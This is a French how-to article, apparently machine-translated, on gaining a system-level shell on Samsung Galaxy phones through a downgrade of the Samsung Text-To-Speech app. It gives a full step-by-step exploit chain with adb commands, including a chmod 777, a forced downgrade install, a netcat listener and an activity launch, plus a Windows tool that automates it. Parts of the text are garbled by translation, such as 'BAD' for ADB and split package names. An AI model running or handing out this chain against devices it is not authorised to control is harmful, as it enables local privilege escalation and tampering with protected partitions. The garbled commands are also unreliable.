Comment accéder au shell système sur n’importe quel appareil Samsung Galaxy

Liens rapides

  • Conditions préalables
  • Comment exploiter n'importe quel appareil Samsung Galaxy pour accéder au shell système
  • Vérification
  • Conclusion

Le premier lundi de chaque mois, Google publie le Bulletin de sécurité Android. Il divulgue toutes les vulnérabilités de sécurité atténuées dans divers composants du système d'exploitation Android, ainsi que ainsi que le noyau Linux et leurs correctifs soumis par Google lui-même ou d'autres tiers à celui-ci date. Les grands OEM comme Samsung ont leur propre vision d'Android, ils choisissent donc également d'intégrer leurs propres correctifs et mises à jour dans les mises à jour de sécurité.

Cela dit, il est assez difficile de remédier à chaque faille. Il existe une multitude de vecteurs d'attaque, et parfois vous pouvez créer votre propre chaîne d'exploits basée sur une vulnérabilité déjà connue simplement parce que vous disposez d'une nouvelle méthode pour contourner l'un des garanties. C'est exactement ce que XDA Senior Member K0mraid3 a fait avec une vulnérabilité vieille de quatre ans, qui lui a permis d'accéder au shell système sur tous les appareils Samsung Galaxy, y compris les derniers produits phares. Même si ce n'est pas la même chose que

avoir les privilèges root, il s'agit d'une élévation de privilèges locaux suffisamment élevée.

Le principal point d’entrée de la vulnérabilité réside dans Samsung Text-To-Speech (nom du package: com.samsung. SMT), une application système préchargée que l'on trouve sur chaque appareil Samsung Galaxy. L'idée est de rétrograder la version installée de l'application vers une version vulnérable spécifique (v3.0.02.2 pour être précis), puis forcez-le à charger une bibliothèque, qui à son tour ouvre un shell avec les privilèges système (UID 1000).

Si vous souhaitez en savoir plus sur l'exploit, assurez-vous de consulter Explication du rédacteur technique principal de XDA, Adam Conway. Il s'est entretenu avec K0mraid3 afin de saisir toute la portée de cet exploit et son fonctionnement.

  1. Pour réitérer, il ne s'agit pas d'un accès root (UID 0), mais l'accès au shell système est suffisamment puissant pour exécuter un tas de binaires autrement restreints.
  2. La preuve de concept de K0mraid3 nécessite un APK d'assistance et vous devez l'exécuter au moins une fois avant de lancer la chaîne d'exploitation.
  3. Une seule interface utilisateur, c'est-à-dire les routines d'économie d'énergie intégrées au skin Android personnalisé de Samsung, peuvent être gênantes, car elles pourraient entraver la communication entre l'application TTS, l'APK d'assistance et le shell. Ainsi, nous vous suggérons de définir au préalable le profil d’économie d’énergie sur « Sans restriction » pour les applications.

Conditions préalables

  1. Téléchargez la version précompilée de l'exploit depuis le Fil du forum XDA ou le dépôt officiel GitHub lié ci-dessous: Exploit du shell système K0mraid3s
  2. Extrayez l'archive quelque part et vous devriez trouver la version vulnérable de l'APK Samsung Text-To-Speech. (samsungTTSVULN2.apk), l'application d'assistance (Komraid3s_POC_Vx.x.apk) et un exécutable Windows nommé systemshell-vx.x.exe.
  3. Assurez-vous que la dernière version de BAD est installé sur votre PC/Mac/Chromebook. N'oubliez pas non plus de installer/mettre à jour les pilotes USB Samsung si vous êtes un utilisateur Windows.

Comment exploiter n'importe quel appareil Samsung Galaxy pour accéder au shell système

Méthode manuelle

  1. Connectez l'appareil Galaxy cible à votre PC avec le débogage USB activé, assurez-vous qu'il est détectable par ADB, puis installez l'application d'assistance.
    adb install Komraid3s_POC_Vx.x.apk
    • Comme mentionné précédemment, ouvrez l'application d'assistance au moins une fois avant de passer à l'étape suivante.
  2. Poussez maintenant la version vulnérable de l'application Samsung TTS vers /data/local/tmp et modifiez ses autorisations:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Redémarrez l'appareil. Dès que vous êtes sur l'écran d'accueil, exécutez la commande suivante pour remplacer la version déjà installée de l'application Samsung TTS par la version vulnérable:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Si tout se passe bien, vous devriez voir un message « Succès » sur la console.
  4. Ouvrez un shell sur le périphérique cible en ouvrant une autre fenêtre de terminal et en exécutant shell adb, puis exécutez le binaire Netcat et écoutez une connexion entrante sur le port 9997 avec la commande suivante:
    adb shell nc -lp 9997
  5. À ce stade, nous devons exécuter une activité spécifique de l’application Samsung TTS, qui ouvrira pour nous le shell du système.
    • Utilisez une application tierce comme ce pour créer un raccourci vers « com.samsung. SMT/.gui. Activité « Liste de téléchargement ».
    • Vous pouvez également utiliser le propre gestionnaire d’activités d’Android (am) pour faire de même. Dans ce cas, vous pouvez l'exécuter via ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) ou utilisez une application d'émulation de terminal sur votre téléphone/tablette comme Termux et exécutez la commande suivante:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Revenez au premier shell et vous devriez voir une nouvelle invite avec le privilège système (UID 1000).

Méthode automatisée

Pour faciliter les choses, K0mraid3 fournit également une application GUI facile à utiliser pour automatiser la plupart des tâches. Gardez à l’esprit que l’application GUI est uniquement Windows, donc si vous êtes un utilisateur Linux/macOS, il est préférable de s’en tenir à la méthode manuelle.

  1. Connectez l'appareil Galaxy cible à votre PC avec le débogage USB activé, assurez-vous qu'il est détectable par ADB, puis installez l'application d'assistance.
    adb install Komraid3s_POC_Vx.x.apk
    • Comme mentionné précédemment, ouvrez l'application d'assistance au moins une fois avant de passer à l'étape suivante.
  2. Avec le périphérique cible détectable par ADB, exécutez systemshell-vx.x.exe sur le PC hôte.
  3. Cliquez sur le bouton « START SHELL ». L'application rétrogradera automatiquement l'application Samsung TTS et tentera d'ouvrir le shell du système.
    • Sur votre téléphone/tablette, vous verrez peut-être l'application TTS vous inviter à télécharger des données vocales. Il n'est pas nécessaire d'interagir avec ces options, car elles n'ont rien à voir avec l'exploit.
    • Si l'application se bloque ou ne parvient pas à ouvrir la fenêtre du shell après un certain temps, fermez-la, redémarrez l'appareil Galaxy cible et recommencez.
    • L'application Galaxy Store peut automatiquement mettre à jour et/ou réinitialiser le profil d'économie d'énergie de l'application TTS en arrière-plan, alors assurez-vous de le vérifier avant de recommencer le processus à partir de zéro.

Vérification

Une fois que vous disposez de l'accès au shell, vous pouvez vérifier le niveau de privilège à l'aide de l'une des commandes ci-dessous :

  • whoami
    • Le résultat doit être « système »
  • id -u
    • Le résultat doit être "1000"

Conclusion

La manière typique d'obtenir un accès root sur un appareil Android consiste à d'abord déverrouiller le chargeur de démarrage, qui vous permet de démarrer des binaires tiers. Étant donné que le modèle de sécurité d'Android s'effondre avec root, cette étape désactive intentionnellement l'une des fonctionnalités de sécurité clés de l'appareil, ce qui C'est pourquoi l'utilisateur doit explicitement autoriser que cela se produise en activant généralement une bascule dans les options du développeur, puis en émettant une commande de déverrouillage au serveur. chargeur de démarrage. Une fois le chargeur de démarrage déverrouillé, l'utilisateur peut introduire un binaire de superutilisateur dans le système ainsi qu'une application de gestion de superutilisateur (comme Magisk) pour contrôler quels processus ont accès à root.

Cependant, avec l'exploit du shell système mentionné ci-dessus, l'utilisateur n'a pas besoin de déverrouiller le chargeur de démarrage pour obtenir un privilège accru. Bien qu'il soit loin d'être root, l'utilisateur "système" est suffisamment capable d'accéder à un certain nombre de partitions de bas niveau (telles que comme /efs), démarrez divers outils de service et de débogage et modifiez de nombreuses valeurs d'accessoires protégées, le tout sans même déclencher Knox. Ces exemples n’abordent que quelques aspects; un acteur malveillant peut combiner cela avec d’autres vulnérabilités et proposer des actions plus néfastes.

Nous devrons attendre de voir comment Google et Samsung abordent le scénario. Quoi qu'il en soit, vous devriez probablement désactiver ou supprimer l'application Samsung Text-To-Speech pour le moment.